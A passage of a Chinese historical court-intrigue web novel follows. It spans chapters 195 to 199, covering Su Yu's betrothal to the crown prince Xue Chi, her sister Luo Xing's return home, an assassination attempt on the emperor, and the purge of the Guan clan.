比如北齐的皇帝,他知道皇长子更合适当太子,但感情上他就是喜欢贵妃,想给贵妃最好的待遇,哪怕这是不理智的。 要是普通人家,还长辈族老,一群人压制他,从现实角度考虑,多少会有不得己之处。 皇帝不需要考虑现实,都当皇上了,若是连宠爱谁都决定不了,这皇帝还当什么。 有力的娘家,能干的儿子,是后宫女子的加分项,却不是决定项。 感情,喜欢,才是重点。 “女儿知道,我和薛迟定能白头偕老。”苏钰说着,语气坚定。 苏天翊听得笑了,有些欣慰。 少女的爱恋,总是带着一抹天真,这也挺好。若是是连自己都不相信爱情,又如何让对方相信。 拥有爱人的能力,是一件很幸福的事,他希望苏钰能永远这么下去。 “内务府己经在准备婚事,薛迟的意思,国孝满了之后就成婚。”苏天翊说着,看向苏钰,“你觉得怎么样?” 薛迟亲自与他说的,虽然说的含糊,他心里很明白。 虽然皇家的孝期以日代年,但嫡亲的孝,也不好不守。 尤其是显庆皇帝这个亲爹的孝,二十七个月的孝期太长。他和苏钰的年龄也不小了,先把婚事办了,再守孝就容易多了。 苏钰想了想,“我没有意见。” 国孝说是一年,严格来说是九个月,现在己经过了两个多月,还有七个月,正好可以准备婚事。 苏天翊想了想,“其实,也可以再等一等。” 等显庆皇帝死了,薛迟登基,苏钰直接就是皇后,跳过太子妃这个过渡。 万一中间薛迟失败了,苏钰想脱身更容易些。 第196章 第 196 章 临近中午,苏天翊…… 临近中午, 苏天翊才带着苏钰进宫。 可能是父亲在身边的缘故,苏钰第一次觉得进宫如此轻松。 既不担心被暗杀,也不担心被算计,连显庆皇帝对她的态度都格外和蔼了。 “拜见皇上。”苏钰见礼, 看向显庆皇帝身侧的薛迟时, 稍稍怔了一下, “太子殿下。” 关太后葬仪时虽然见过薛迟, 但当时的情景,想多看一眼都不合适。 又因为是孝中, 都是一身孝服,衣着清简。 此时乍然相见,看着眼前一身太子打扮的薛迟,苏钰竟然有种陌生感。 一直内敛的气息,随着那身明黄的太子服饰, 开始慢慢溢了出来,深邃的眼眸越发显得锐利。 与她四目相对之时,隐约间透着一丝温柔。 “免礼。”显庆皇帝笑着说, “你们来的倒是巧, 正好要传膳了。” 说着显庆皇帝吩咐太监, 摆桌家宴,招呼苏天翊和苏钰一起吃饭。 “谢皇上。”苏天翊也不推却, 选在这个时间点, 就是想着吃饭的时候可以少说话。 显庆皇帝现在脑回路清奇,没了关太后这个心腹大患,是彻底放飞自我了。 皇帝赐宴,虽然只有四个人,排场却是极大的, 歌舞奏乐全部都有。 苏钰坐在桌前,眼前满桌的珍馐美味,耳边是悠扬的乐曲声。 不禁想起国孝期间的规定,高门大户按爵守制,嫁娶都不准,家里养的戏班都得遣散。 可皇帝儿子却是接着奏乐接着舞,果然,所有规矩在皇权面前啥都不是。 “爱卿打算何时去南魏?”显庆皇帝突然说。 苏钰愣了一下,不禁看向苏天翊。 去南魏? 刚刚当众拆穿罗星的身份,不管南魏对罗星有什么想法,好意还是恶意,现在全落空了。 十几年辛苦,白忙一场。 南魏此时只怕恨苏天翊入骨。这种时候过去,岂不是过于危险。 苏天翊笑着说,“臣己收到消息,臣的侄女苏辰己在回大周的路上,不日就到京城。臣想着,还是细细问过她之后,再动身不迟。” “爱卿思虑周全。”显庆皇帝高兴说着,“只要苏辰愿意说,对大周有功,朕就破例封她为郡主,以示嘉奖。” “爱卿也一样,只要立下这万世奇功,想要什么封赏,都可以。” “皇上圣明,臣定当不负陛下期望。” 苏天翊恭敬地说道。 苏钰越听越觉得诡异,苏辰回大周她不意外,毕竟她在南魏呆不下去,就是回来看看父母,也是应该的。 但是苏辰会卖了南魏?她觉得不可能。 十几年前感情,罗星不是不念情的。 苏天翊说的这些话,她怎么觉得是忽悠。 薛迟笑着说,“儿臣按照父王的指引,己寻到练丹师,正在上京的路上,不日进京。” 显庆皇帝大喜,“好,还是我儿能为我解忧。” “此次寻到的丹师,据说有祖师处传来的丹方,可以练制长生之老之药。”薛迟说着,“具体如何,还要问父王亲自询问。” 显庆皇帝越发高兴,长生之术,当然要跟薛迟说,倒不是想带上薛迟一起长生不老。而是此事重要,还需要他这个贵子鞍前马后的奔波。 薛迟也没让他失望,又提供了新思路。 世间既然有长生之术,除了南魏有,大周肯定也有,弄不好比南魏还要好。 显庆皇帝觉得有道理,马上占卜,果然是大吉大利,又按照占卜的结果,指出几个方位,让薛迟按方位寻人。 薛迟办事果然快,己经按着方法寻到练丹师,大周也要有自己的长生之术了。 苏钰听着,脸上的笑容都有些僵,心里越发觉得诡异。 长生之术? 自古以来搞长生之术的帝王,没见过有好结果的。关太后刚死,显庆皇帝不想着重掌大权,就想着长生之术。 再看薛迟和苏天翊两个的态度,这,这是打算直接让显庆皇帝升天。 一顿饭吃完,显庆皇帝最高兴,左侧薛迟,右侧苏天翊,让他有种天下在手的感觉。 “朕有事与苏爱卿商议。”显庆皇帝对薛迟说着,“你带着苏小姐四处逛逛。” “是。”薛迟应着,看向苏钰。 召苏钰进宫,是他的主意。 关太后死后,所有政事全部压在他身上,还要满足显庆皇帝莫名其妙的要求。 而且为了安全着想,成为太子后,他也不想出宫。 想见苏钰,唯一的办法,召她进宫。 “臣女告退。”苏钰说着。 两人出了正殿,身后依然太监宫人一大堆,薛迟自然而然的牵起她的手。 苏钰身形微微一怔,却没有挣脱,只是看着薛迟。他们都定婚了,哪怕是人前也可以如此亲密。 薛迟的手不自觉得握的更紧了,“我们去东宫。” 苏钰点点头。 东宫是太子的住所,只是大周连续几朝皆无太子,东宫依然在,却己经破烂的不成样子。 薛迟被封为太子后,就搬进了宫里,东宫住不了,就住了隔壁的南三所。 内务府在关太后大丧时,就开始修缮东宫。薛迟估摸着自己这个太子也当不久,也没怎么过问。 坐上轿撵,从养心殿到东宫,坐车都要好一会。 车驾刚刚驶出,就听到外头传来关倩倩的声音,“太子殿下,睿王要谋反。” 车驾并没有停下来,跟随的宫人上前驱赶。 “我有证据,我有证据。”关倩倩喊的更大声,她极力挣扎着,想拦住马车。 花掉了所有的钱,关倩倩才打听到苏钰今天进宫。 这是她唯一的机会,关太后都死了,关家要完了,没人顾忌她的死活,秦铮会打死她的。 她与苏钰是没有交情,但她知道苏钰心软,上位者的这一点点的心软,也许就是她的活路。 苏钰眉头皱起,关倩倩的叫喊声太过于凄厉,想到绿川给她说过的,心中多少有些不忍。 薛迟见状,道:“停车。” 车驾停了下来,苏钰看向薛迟,有些不解。 “我知你心有不忍,想问就问吧。”薛迟笑着说。 苏钰不喜欢管闲事,但她心软,心软是好事。 想想关太后和显庆皇帝,压根就没有心,和这样人生活才是灾难。 拦着关倩倩的太监松了手,关倩倩没敢上前,只是跪在马车前,从怀里掏出搜集到的证据,“这是睿王谋反的证据。” 跟车的太监收下,却没有往车里递。 睿王侧妃送的东西,谁知道有毒没毒,不经查验,是不敢给主子递的。 苏钰对证据并不敢兴趣,秦铮就是想谋反,也没有实力。 眼下的情况,又在皇宫里,关倩倩能找到的证据,薛迟肯定找到的更多。 “你想要什么?”苏钰问着。 关倩倩磕着头,声音中透着绝然,“我想出家,我想去莲花庵。” 关家要完了,就是不完,她这个弃子,回家也是必死无疑。 在嫁给秦铮之前,她天真的各种算计,只为嫁得高门贵婿。却从来没有想过,要享别人享不到的富贵,就要承担失败者的代价。 她要早明白这些,哪怕是嫁给商户,她也不会想着嫁入皇室。 她还不想死,她还如此的年轻。唯一能让她活下来的地方,只有莲花庵。 苏钰有瞬间的沉默,她本以为关倩倩会想出宫,或者离开睿王,哪怕是离开京城到外面去。 没想到她竟然想出家,曾经那样要强的千金小姐,最后只想活着而己。 胜者王侯,败者寇,登高必跌重。 苏钰心情有些沉闷,“我允你。” “谢谢,谢谢你。”关倩倩连声说着,眼泪顺着流下来,让她更显得狼狈,但死寂的眼中却重现光茫。 太监带着她下去,车驾继续向前走。 苏钰己经答允,接下来的事情,都不用苏钰特别交待,自会有管事太监料理后续。 苏钰没由来的深吸口气,似是要压下心底的不安,她看向薛迟,突然伸手抱住他。 心有不安,需要安慰的时候,薛迟在身侧,何必拘谨。 生于富贵之家,父母的婚姻,总让当时还年幼的她觉得不安。 她一直希望有个依靠,让她在不安的时候,可以靠一靠。 而现在,她找到了。 薛迟没有迟疑的,把苏钰搂在怀里。 “没事的,我不会让你落到如此境地。”薛迟轻声安慰她。 与苏钰交往这么久,他很清楚,苏钰对权势并不感兴趣。若是早知道他的身份,只怕都不愿意与她来往。 皇宫,就是在他看来,也不是什么好地方。 “嗯。”苏钰轻轻说着。 身体紧紧贴在一起,把头埋在薛迟怀里,听着对方有力的心跳,似乎这才缓过神来。 “我好像在占你的便宜。” 苏钰声音很小,抬头看着薛迟,有些害羞的挣开他,整理一下衣衫,老实坐好。 薛迟顺势搂住她,给她理了理鬓边的碎发,十分大方,“不要紧,我允许你随便占便宜。” 车驾停了下来,外头传来太监的声音,“太子殿下,苏姑娘,东宫到了。” 车帘卷起来,太监拿来脚凳,薛迟先行下车,随即又扶着苏钰下车。 苏钰从车上下来,第一眼看到的是九龙壁,然后就是九龙壁旁边的晋阳长公主。 第197章 第 197 章 显庆皇帝亲自指婚…… 显庆皇帝亲自指婚, 薛迟被策封太子后,婚事就被提上了日程。 内务府着手准备婚事,心里却没底,生怕哪里没做好, 让太子不喜。 求爷爷告奶奶的寻来晋阳长公主, 请晋阳长公主这个养母指点一二。 晋阳长公主知道薛迟喜欢苏钰, 对婚事也格外看重。索性揽下婚事, 亲自来操办。 东宫虽然住不久,但九个月之后, 太子大婚要在东宫举行。 偏殿与后殿可以随便修修,但正殿是新房,一定要好好装修。 只为了盯房子装修,晋阳长公主这两个月就没少过来。 “殿下,苏姑娘。”晋阳长公主看到两人上车, 笑着迎了上来。 苏钰行礼,“见过长公主。” 晋阳长公主连忙笑着说,“都是一家人了, 钰姐儿不用如此客气。” 用不了多久, 她都给苏钰行礼了。 三人说话间进入东宫, 经过两个月的日夜赶工,主体建筑己经修缮的差不多, 正在收尾阶段。 内部装修图纸内务府早就画出来, 关太后的葬记,晋阳长公主做为长公主,偷懒一下也无妨。 “正好二位来了,看看要怎么安排。”晋阳长公主笑着,把内务府画好的图纸递给苏钰, 却没有参加讨论,而寻个借口走了。 自从被封太子后,薛迟出宫不容易,同样的苏钰进宫也不容易。 难得小情侣在一起,她得识趣点赶紧走开。 “我正想问你,大婚之事你有什么想法?”薛迟问着。 女子出嫁是大事,哪怕未来还有封后大典,与出阁还是不一样。 他希望给苏钰一个难忘的婚礼,不留任何遗憾。 “让我想想。”苏钰看着装修图纸,仔细斟酌着。 一般来说,太子大婚都是有流程的。不过嘛,皇家向来不守规矩,可操作空间非常大。受宠不受宠,待遇是天渊之别。 薛迟笑着说,“不着急,等你想到了,派人与我说。” “嗯。”苏钰笑着点头。 说话间,薛迟拉起苏钰的手,走向正殿,参观还在整理中的新房。 五间正殿,房间大小皆按规格修的,几乎是完全打通,只留了卧室处的碧纱橱。 装裱才刚刚开始,金碧辉煌之感就扑面而来。苏钰心里明白,这是大婚专门房,只为了婚礼当天好看,日常生活基本不考虑。 苏钰对于婚礼确实有想法,薛迟来问她了,她自然会说。 正说着,就有太监传话,苏天翊要回府了,要带着苏钰一起走。 薛迟有些不舍,见时间还早,正想说晚些时候,他亲自送苏钰回府。 苏钰却道:“父亲寻我,我得回去了。” 薛迟想了想,苏天翊都特意派人来喊了,还是放人的好。 这位岳父,即使他己经是太子,心里还是有几分敬畏之意。 “我送你过去。”薛迟说着。 薛迟把苏钰送到西直门,苏天翊己经在了,看到薛迟笑着见礼,“太子殿下。” “苏先生。”薛迟态度恭敬。 苏天翊笑着点点头,朝苏钰招招手,“该回去了。” “是。”苏钰低头应着,有些不好意思抬头。 父女俩一起上了车,车驾驶出宫门时,苏天翊突然笑着说,“这么喜欢薛迟啊。” “是。”苏钰低着头,虽然不敢看苏天翊,语气却很坚决。 “也挺好。”苏天翊勾起唇角的笑,带着一些意味深长,“这条路不好走,但也不是走不过去。我与你母亲,总是能保你二十年平安。” 苏钰抬起头,看向苏天翊。 “至于二十年后……”苏天翊继续说着,“也可以考虑当太后了。” *** 罗星站在国公府门口,看着牌匾上“英国公府”四个大字,有些失神。 晚上来过两次,但大白天的,这样站在国公府门口,让她记忆深处模糊的印象,变得鲜活起来。 “母亲,母亲,您今天好些了吗?”幼小的她跑进叶氏的屋里。 叶氏躺在床上,脸色有些苍白,生育双生子之后,她身体就不太好,一直在养病中。 “母亲没事了。”叶氏搂住她,揉着她的头,“辰姐儿乖,要听奶妈的话,不要总去翻墙爬树,多吓人啊。” 苏天华坐在床侧,对她说好,“你伯父说,你天资卓然,为你寻了师傅,人己经在路上,再有半个月就到了。” “噢。”幼小的她,还不太理解师傅的意义,也不太在意。 “二姑娘,是二姑娘……” 管事惊喜的声音传来,又转身吩咐小厮,“快去传话,二姑娘回来了。” 记忆嗄然而止,罗星看一眼兴奋的管事,神情淡淡的。 正欲接着说话的管事,被这一眼看的顿时住了嘴。嘴边的话咽了下去,低下头,神情变得恭敬起来。 罗星懒得理会,径自从角门进入,记忆越发清晰起来。 十几年间,国公府虽然有过几次修缮,但整体格局并没有变。 “二姐……” 最先跑过来的是苏邑,身后跟着苏越。 他俩就在前书房,听到小厮的传话,就赶紧过来了。 苏邑见过罗星,又是双胞胎,此时再见罗星,神情顿时激动起来。 身侧的苏越,则显得十分拘谨。明明与苏邑同样的脸,气势却全然不同。 “嗯。”罗星看向苏邑,随即目光落到苏越身上。 苏邑连忙介绍,“这是越哥儿,我们的四弟,三叔的长子。” 罗星知道苏越,早在很久以前,她知道苏家现在人际关系,只是见面还是第一次。 “第一次见面,我没带见面礼,以后有机会补上。”罗星说着。 苏越连忙摆手,“二姐姐,不用了。” “我们去见祖父,祖母。”苏邑激动说着。 罗星点头,跟着苏邑往里走。 她对谷夫人完全没印象,对苏震岳的印象也不多,但长辈就是长辈,总是要见的。 “辰姐儿,我的辰姐儿……” 刚踏进垂花门,叶氏哭泣的声音传了过来,她几乎是跑过来的,身后跟着丫头和云棠。 罗星被叶氏搂住的时候,有一瞬间的茫然,原本还算平静的心绪顿时荡漾开来。 这是她的母亲,血脉嫡亲,最亲的亲人。 嘴唇蠕动着,想开口叫声母亲,又觉得有什么压在心头,什么都说不出来。 十五年了,分开真的太久了。 “母亲,二姐回来了,这是喜事。”苏邑劝慰着叶氏,“您快别哭了。” 叶氏拿起手帜擦着泪,一只手却是紧紧握住罗星,生怕再丢了。 罗星任由她抓着,她不会安慰人,也不知道应对泪流满面的叶氏。 不经意间,罗星看到云棠,样貌确实挺像的,有她在也挺好,能帮忙尽孝。 云棠第一次看到罗星,四目相接的瞬间,几乎是本能的低下头,太过于强大的气场,让她有些害怕。 又想到自己的身份,云棠自觉得退后一步。 她是罗星的替身,哪个正主愿意看到替身呢。 “她是云棠姐姐。”苏邑连忙介绍着。 他问过云棠的生辰,比他和罗星都大,按年龄是要叫姐姐。 罗星点点头,“很好。” 云棠顿时觉得松口气,被罗星承认了,她终带过来放心放下来,不然总有种做小偷的感觉。 在叶氏拉着罗星的哭哭泣泣中,一行到了乐道堂。各房早就收到了消息,不用任何人招呼,齐聚而来。 除了苏天翊和苏略,他俩不在家。 苏天华先扶着叶氏坐下来,其他人各自落坐,唯独罗星堂中站着,环顾着屋里众人。 明明她才是小辈,这一圈的环视,硬是看出了上位者视察的姿态。 “辰姐儿。”谷夫人第一个出声,从罗星进门起,她的目光就落到罗星身上。 没有任何血缘关系,也从来没有相处过,要说有感情,还真没有。 看着这样的罗星,她心中只有可惜。 若是罗星没有丢,一直在苏家,将是苏家最优秀的继承人。 “嗯。”罗星应着。 她更喜欢罗星这个名字,罗宗涛给她起的。 不打算改名,但叫她苏辰,她也会应。 “我回来看看。” 苏天华站起身来,从苏震岳开始,上前给罗星介绍。 按理说,这种时候,罗星是要跪的。但想到她对显庆皇帝都没跪过,甚至面对罗宗涛时,都是直接揪领子,连声师傅都不叫。 跪不跪的,就随她心意了。 罗星没有跪,走到长辈跟前时,拱手作揖。 也因为罗星过份强势的气场,至使谷夫人准备好的见面礼,都没送出去,送不出手。 她没送,其他人的就准备了,也不敢送。 平辈之间就更简单,基本就是行礼,回礼。 “国孝期间,不能请客设宴,只能家里人小聚,委屈你了。”谷夫人说着。 苏辰回归,应该各府送贴子,大摆宴席召告天下的。 但国孝中,贴子可以发,设宴摆酒就不行了,总是委屈了罗星。 “一场宴席无所谓,反正该知道的都知道了。”罗星说着。 苏天翊召告天下那天,宴席上的都是大周三品以上官员以及诰命。 这些天过去,相信此事己在京城传遍。 叶氏连忙道:“等国孝过去了,再补办也是一样的。” 罗星看一眼叶氏,没作声。 九个月后,她不一定还在苏家。 第198章 第 198 章 罗星的住处很快准…… 罗星的住处很快准备好, 得知罗星就是苏辰的当天,叶氏就开始给罗星准备住所。 两府空着的院落不少,叶氏挑了又挑,选定降雪阁左侧的烟雨楼, 地方宽敞, 挨的也近。 因为要进宫给关太后守孝, 叶氏把具体装修事宜交给了云棠。 云棠用了十分心思, 还找苏玫一起商议,不但把烟雨楼装修好, 还按照府里小姐的配置,全部安装好。 又考虑到吃饭口味,给烟雨楼配置了小厨房,特意请了能做南魏菜色的厨子。 “挺好的。”罗星看着烟雨楼,“我很喜欢。” 她对于吃穿住行都没有要求, 安全即可,但叶氏很高兴,她不想扫叶氏的兴。 叶氏还不忘叮嘱着, “缺什么只管对婆子说, 若是厨房做的不对口, 就再换厨子。” 罗星点头。 叶氏还想再说,云棠却察觉到罗星脸上的不太耐烦, 小声说着, “二妹妹刚回家,肯定累了,不如让她先洗澡休息。” 叶氏觉得有理,“你先歇着,明天中午设宴给你接风。” “好。”罗星应着。 叶氏转身欲走, 快到门口时,突然转过身来,看向罗星,目光中带着祈求,“辰姐儿,你不会再走了吧。” 罗星心口慕然一滞,好一会才说,“我若要出门,会告知父母。” 云棠扶着叶氏走了,罗星看着精致漂亮的闺房,唯一的感觉,房间好小。 装修装饰,各种精致的阵设,她都没兴趣。 做为纯功能性的房间,没有练功房,书房只有书桌,连本武功秘籍都没有。 既便她是天才,武学之道也是要钻研的。 每每练功之后,她会习惯性写下心得,与其他的典籍的对比,有时候还会根据心得体会改良。 “算了,我要洗澡,你们去准备。”罗星对着婆子说着。 练了这么多年功,就当是休息了。 “是。”婆子应着。 洗完澡,罗星懒得梳头,散着头发,一身常服歪在罗汉床上。 南魏没有身体发肤受之父母的概念,她嫌麻烦,一直都是短发。 “有什么好玩的吗?”罗星问婆子。 她连南魏千金小姐的日常都不知道,大周的千金小姐会干什么,她更不知道。 但就是休息,也得有点事情干,总不能天天床上躺着。 婆子道:“国孝期间,府里的戏班都散了,只剩下两个说书的女先生,姑娘若是喜欢,我这就唤她们来。” “说书啊。”罗星不太有兴趣,“就没有杂耍什么的,或者比较热闹的。” 说书没多意思,多听一会,弄不好就睡着了。 婆子神情为难,“国孝期间,京城有名的班子都走了。姑娘暂且忍耐两天,我这就去回禀管事,让他去寻。” “那就找找看吧。”罗星说着,难得体贴的加一句,“找不到也无所谓。” 接风宴是叶氏操办,宴席摆在后花园。 未请外客,苏家人齐聚一堂,苏天翊与苏略也难得露面。 罗星盛装出席,一袭月白色绫罗长裙,梳着流云发髻,插着一支羊脂玉簪,簪头镶嵌着蓝宝石,与耳际那对蓝宝石耳坠相互辉映。 丫头给挑的衣服,连发型首饰都是丫头做主选的。 罗星虽然觉得有些不耐烦,但想到今天是接风宴,到底还是配合了。 国孝期间,戏都听不了,只剩下吃吃喝喝。 因为是家宴,众人都十分随性,大部分时间里罗星都在听。 听久了,心中涌起一股复杂的情绪,从疏离到亲切似乎只在这一顿饭。 或许,这就是血脉相连,无论漂泊何方,总会被血缘牵引着回来。 一时间饭毕,撤了席,众人却没离开。 入秋的花园,景色别有一番韵味。金黄与火红的树叶交织在枝头,宛如一幅天然的油画。 罗星席间喝了两杯酒,觉得有点闷,避开人群走到池塘边,轻风抚面,觉得舒服了些。 “接下来有什么打算?”苏天翊问着。 罗星离开京城后,先去奏了北齐的使者团,然后就回了南魏。 罗星的身世早在南魏传开,南魏对她的态度却没有丝毫变化。 这就是神权国家的坏处,罗宗涛认为罗星是他的爱徒,还像往常一样对她,她在南魏的地位就没有任何变化。 罗星看向他,下意识想叫他名字。 突然想到,既然回了苏家,这么直呼苏天翊的名字的不合适,要改口叫伯父了。 “我不会跟南魏割席。”罗星说着。 当然,她也不会像以前一样,在南魏久居。 住了十几年的家,她也会回去看看。 苏天翊并不意外,只是看着罗星,“那你这次回家,打算住多久?” “伯父希望我住多久?”罗星反问。 大周的朝堂,用风云突变来形容最合适。目前来看太子薛迟是胜利在望。 但关家那么大的势力还在,关楚河突然抱病,真病假病很不好说。 这种时候,苏天翊希望留下来也正常。 “当然是越久越好。”苏天翊神色认真,看向罗星,“辰姐儿,我们是一家人。” 他何止希望罗星能留下来,甚至希望她能继承苏家。 罗星沉默,好一会才说,“我会留下来一阵子,需要杀人我可以帮忙。” *** 国孝期间不准娶亲,但可以商议婚事。 太子大婚,婚事比之前的安排,又上了一个台阶。而眼下罗星回来,叶氏连管家都顾不上,交给关氏。 苏钰的婚事,叶氏更顾不上管,谷夫人揽了下来,亲自操办。 九个月时间,准备太子大婚,时间不够充份。谷夫人却不着急,薛迟再努力一点,苏钰直接成皇后,太子妃这一步直接跳过。 “老太太,大姑娘,宫里派人传旨,皇上要册封二姑娘为郡主。”婆子匆匆进门传话,脸上又是喜又是惊。 “二老爷己经去接旨了,天大的喜事。” 谷夫人和苏钰皆是愣了一下,公主郡主的封号皆因血脉而来。 册封未皇族人员,一般来说,都是父母族人为国捐躯,只剩下一个独苗女儿,考虑到抚养问题,会册封郡主,接到宫中抚养。 苏天华活的好好的,苏家一众长辈也都在,显庆皇帝突然册封罗星,只怕也有缘故。 “二姑娘去接旨了吗?”苏钰问着。 婆婆摇摇头,“二姑娘出门去了,不在家。” 家里乐子太少,罗星回家的第三天就出门了。 国孝期间很多娱乐活动停止了,但能玩的地方肯定比家里多。 苏钰没再问,罗星就是在家,只怕对这个所谓郡主也不感兴趣。 南魏皇太子,罗星说打就说,南魏众人见她如见君。 大周册封她为郡主,何止不看在眼里,只怕还会以为是在侮辱她。 不过,有了这道圣旨,大周再也不会有人妄议罗星的身世,更不会影响到苏家的前途。 晚上叶氏摆了酒席,女儿被封郡主总是件喜事,虽然罗星全然不在意,叶氏却很高兴。 菜刚上齐,突然就见太安带着护院匆匆过来,把整个大花厅围住。 众人皆是一愣,太安这才道:“海公公进宫行刺,现在大内戒严。大爷不放心,让小的带人回来。” 海公公是关太后的心腹太监,关太后中毒向,向南魏求药,被罗星拒绝后,海公公就不知所踪。 关太后死后,皇城就开始戒备,生怕海公公要搞事。 做为关太后的心腹,海公公除了自身武力值可以外,手下也是有不少死士。 他又对宫中情况熟悉,情况更显得棘手。 苏震岳看看苏天华,苏邑,尤其是看到罗星时,格外觉得安全,挥手说着,“家里很安全,让老大放心,你们该干嘛干嘛,别耽搁了你们的事。” 随即又对众人说着,“我们吃饭。” 吃吃喝喝,苏震岳甚至给太安,以及一众护院又开了两席,辛苦跑了这一趟,饭要管好。 吃完散席时,罗星道:“都安心睡觉,晚上我守夜。” 众人更安心了。 各自回房休息,苏钰洗梳睡觉,因为罗星在家,并不担心自身安全。 薛迟,苏天翊目前都在宫里,心中有事,晚上睡不沉,翻来覆去总会醒。 天蒙蒙亮时,就听脚步声响起,胡婆子的声音传来,“姑娘,快醒醒。” 苏钰立马惊醒,“出什么事了?” “海公公行刺,王妃为救皇上,受了重伤。”胡婆子说着,语气中透着焦急。 “伤的很重吗?”苏钰语气焦急,连忙起身穿衣,“人在哪?” 胡婆子说着,“在楚王府。” 苏钰唤起丫头,“更衣,去告诉太安,我要去楚王府。” “姑娘莫急。”胡婆子把声音压低了,在苏钰耳边说着,“王妃只是皮肉伤,只是要装成重伤的样子,姑娘装装样子即可。” 给她传话的,是慕容宁的亲信,前同事之间自有一通传信方式。 具体情况,来人并没有详细说,大概意思就是,让苏钰装个样子,记得装得像些。 焦急的苏钰顿时明白过来,慕容宁是想借此机会打动显庆皇帝,放她回西北。 一直以来拦着慕容宁的是关太后,现在关太后死了,慕容宁肯定得抓住机会,迟则生变,这回要是走不了,她更难回去。 苏钰隐约有种感觉,要是等到薛迟登基,慕容宁更走不了。 第199章 第 199 章 “阿姐,你忍着些…… “阿姐, 你忍着些。” 两个大夫拿着药膏旁边站着,慕容弦准备拔箭。 慕容宁伤在右肩处,长箭射穿右肩,箭是特制的, 出手又是高手, 伤的格外深。 唯一幸庆的, 箭上没有毒。 “拔吧。”慕容宁脸色苍白至极。 这一箭就是能治好, 她的右手也可能会废掉。 慕容弦眼疾手快,拔下长箭, 慕容宁闷哼一声。鲜血随时喷了出来,两个大夫上前,按压伤口开始上药。 一番治疗之后,血止住了,慕容宁的命也保住了。 慕容宁挥手让大夫离开, 身体虽然虚弱至极,却是吩咐着慕容弦,“按照计划行事。” 慕容弦应着, 却是心疼慕容宁, “只是做戏而己, 阿姐何必真为狗皇帝挡箭。” 显庆皇帝堂堂一国之君,说话跟放屁差不多, 早就答应的事情, 还要搞一出苦肉计。 “做戏也要做真,薛迟可不好糊弄。”慕容宁说着。 随便糊弄一下显庆皇帝很容易,但若是让薛迟抓到把柄,在显庆皇帝面前说几句,显庆皇帝又会改口。 好不容易熬到关太后死了, 她必须得在薛迟登基前离开京城。 机会不多了,赌一把是值得的。 “别跟钰姐儿说实话,省得她担心。”慕容宁格外叮嘱着。 京城局势风云突变,危险太多了。 难得罗星此时出手相助,由她守着国公府,苏钰呆在国公府最安全。 且不可因为她的伤势,有了离府的心思。 “阿姐就放心吧。”慕容弦说着。 当天晚上,以海公公为首的刺客,就被苏天翊尽数擒下。 海公公被抓的瞬间就自杀了,把其他人审了又审,只得出一条讯息,此时在京城的关楚河是替身。 真身在哪,不知道。 次日早朝时,苏天翊把审讯结果奉上。太监接过来,转身奉给显庆皇帝。 数页的审讯信息,显庆皇帝只看了一眼,前后关联都没看清楚,直接拍桌定案。 “大胆关楚河,竟然敢谋害朕。把关家人全部收押审讯,勿必审问出关楚河的行踪。” 想到昨天的行刺,显庆皇帝心惊之余,又有几分幸庆。 他占卜出来有大灾,一直十分小心,行事都要替身代替。没想到海公公竟然知晓,杀了替身,还不放过他。 要不是慕容宁替他挡了一箭,他要当场毙命。 虽然是真龙天子,有天命在身,但如此惊险的情况,依然把显庆皇帝吓到。 海公公是关太后的心腹,也是为了给关太后报仇,这谋杀肯定与关家脱不了关系。 “这,皇上……” 此言一出,在场的大臣顿时后背发冷,刑部尚书想说一句,又不敢说出口。 前头慕容宁己经大清洗一波了,但关家的势力盘根错结,要是再清算关家,又要血流成河。 而且关家在京城大几百口,男女老幼,这要全部关押,牢房都要不够了。 更重要的是,就是关太后死了,显庆皇帝要清算,好歹也给个罪名。 只因为一个审讯结果就直接定罪,这也太随意了。 “太子。”显庆皇帝全然不理会众朝臣的反应,径自吩咐着。 薛迟出列,“儿臣在。” “此事由你主审。”显庆皇帝的语气不容置疑。 “是。”薛迟应着。 一道圣旨,京城风云突破。 薛附马带着羽林军抄家,关家成年男子全部下狱,女眷以及未成年孩子,因牢房不够,暂关在原本住宅,由京兆尹看管。 同时京兆尹放出风声,关家的媳妇,娘家与婆家协商后,愿意和离的,可以归宗,两岁以下孩子,可以随母归家。 至于未出阁关家小姐,要是有定下亲事的,夫家要是承认婚事,也可以接走了。 关家是大族,姻亲遍地,此消息一出,京城顿时更忙乱了。 和离的占多数,父母还在世的,总是好些,家里总有人做主。兄嫂或者弟妹当家的,就看感情了。 至于来迎娶的,少之又少。 毕竟关太后死后,真心为女儿打算的,父母己安排出嫁了。还未嫁的,不管什么原因,肯定是没找到合适人选。 “父王,母妃。” 宜宁郡主一身狼狈的哭着进门,身后跟着秦昊。 嫁给关子棋,新婚还未过,丈夫就下狱了。 抄家的阵仗太吓人,她的婆婆当场吓死,尸身就随意扔井里。 为了方便看管,所有女眷都被关几个房间里,吃喝拉撒都在一起,几天下来,宜宁郡主觉得自己要死了。 这个时候,秦昊来了,出示了和离文书,以及身份文书,终于把她带走了。 如此一番折腾下来,宜宁郡主是一点脾气都没有了,只想早点回家。 “我的儿啊。” 陈侧妃看到一身狼狈的宜宁郡主,哪里还顾得,当即扑上去,抱着宜宁郡主哭了起来。 楚王爷看到宜宁郡主平安无事,提着的心也放下了,“没事就好,先去梳洗休息,晚些时候请个太医瞧瞧。” 关家出事后,楚王爷就进宫去求显庆皇帝。 他想的很简单,宜宁总是郡主,皇室血脉,又是刚嫁进关家,连孩子都没有。 前朝也案例,丈夫和公公造反,也杀了丈夫和儿子,郡主本人和她生的女儿都没事。 怎么也没想到,楚王爷刚开口,显庆皇帝就大怒,喝斥的语气非常重。要不是薛迟在旁边,只怕他都要跟着一起倒霉。 出了养心殿,他正想着要怎么办时,薛迟身边的太监悄悄跟他说,只要有和离书,就可以把人带走,别太张扬就行。 楚王爷千恩万谢,心里却有些感慨,以前关太后活着的时候,总觉得关太后过份严苛。 现在关太后不在了,没人给显庆皇帝背锅了,显庆皇帝的特色表现出来,不是严苛而是荒唐。 宜宁郡主抹着眼泪,却是问楚王爷,“父王,你能不能救救子棋?” 她与关子棋成亲不久,感情正浓时,夫妻一体,自然想着要救丈夫。 楚王爷动动嘴唇,女儿希望自己能救夫婿,也是人之常情。只是他进宫为宜宁郡主求情,都被显庆皇帝骂了,哪里还敢为关子棋求情。 “姐姐,关家之事,牵扯太广,你刚回来,还是先休息一下再说其他。”秦昊适时插嘴。 做为楚王府世子,他对京城局势比楚王爷清楚。薛迟仁慈,不打算牵连女眷,但是关家的男人,肯定是不会放过。 关子棋就是什么都没掺和,只要他姓关,又成年了,就得死。 陈侧妃也跟着说,“自己都是死里逃生,还管他做什么。趁着年轻和离了,再挑个好的。” 